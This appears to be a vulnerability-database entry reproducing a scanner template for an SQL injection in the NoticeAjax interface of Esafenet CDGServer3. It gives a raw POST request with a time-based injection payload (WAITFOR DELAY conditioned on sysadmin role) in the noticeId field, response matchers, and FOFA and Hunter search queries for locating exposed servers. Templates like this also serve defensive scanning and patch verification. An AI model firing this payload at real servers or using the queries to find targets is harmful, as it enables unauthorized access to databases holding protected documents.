esafenet-noticeajax-sqli: Esafenet CDG NoticeAjax - Sql Injection

2025-08-01 esafenet-noticeajax PoC Public

Description

CDGServer3 NoticeAjax Interface Sql Injection.

PoC

id: esafenet-noticeajax-sqli

info:
  name: Esafenet CDG NoticeAjax - Sql Injection
  author: adeljck
  severity: high
  description: |
    CDGServer3 NoticeAjax Interface Sql Injection.
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="电子文档安全管理系统",body="CDGServer3/"
    hunter-query: web.title="电子文档安全管理系统",web.body="CDGServer3/"
    product: electronic_document_security_management_system
    vendor: esafenet
  tags: esafenet,sqli,vuln

http:
  - raw:
      - |
        @timeout: 10s
        POST /CDGServer3/NoticeAjax;Service HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
        Content-Type: application/x-www-form-urlencoded

        command=delNotice&noticeId=123';if+(select+IS_SRVROLEMEMBER('sysadmin'))=1+WAITFOR+DELAY+'0:0:5'--

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type,"text/xml")'
          - 'contains(body,"OK")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402202d10376d3eb84c94492433f6d07761814ce59a95171ce0c4dab10c4745afd46202201a64e5dd53a07d27bcbfa88cc3c776a3c9ddb87a5c4c2b90f770fac5d2c15fe4:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities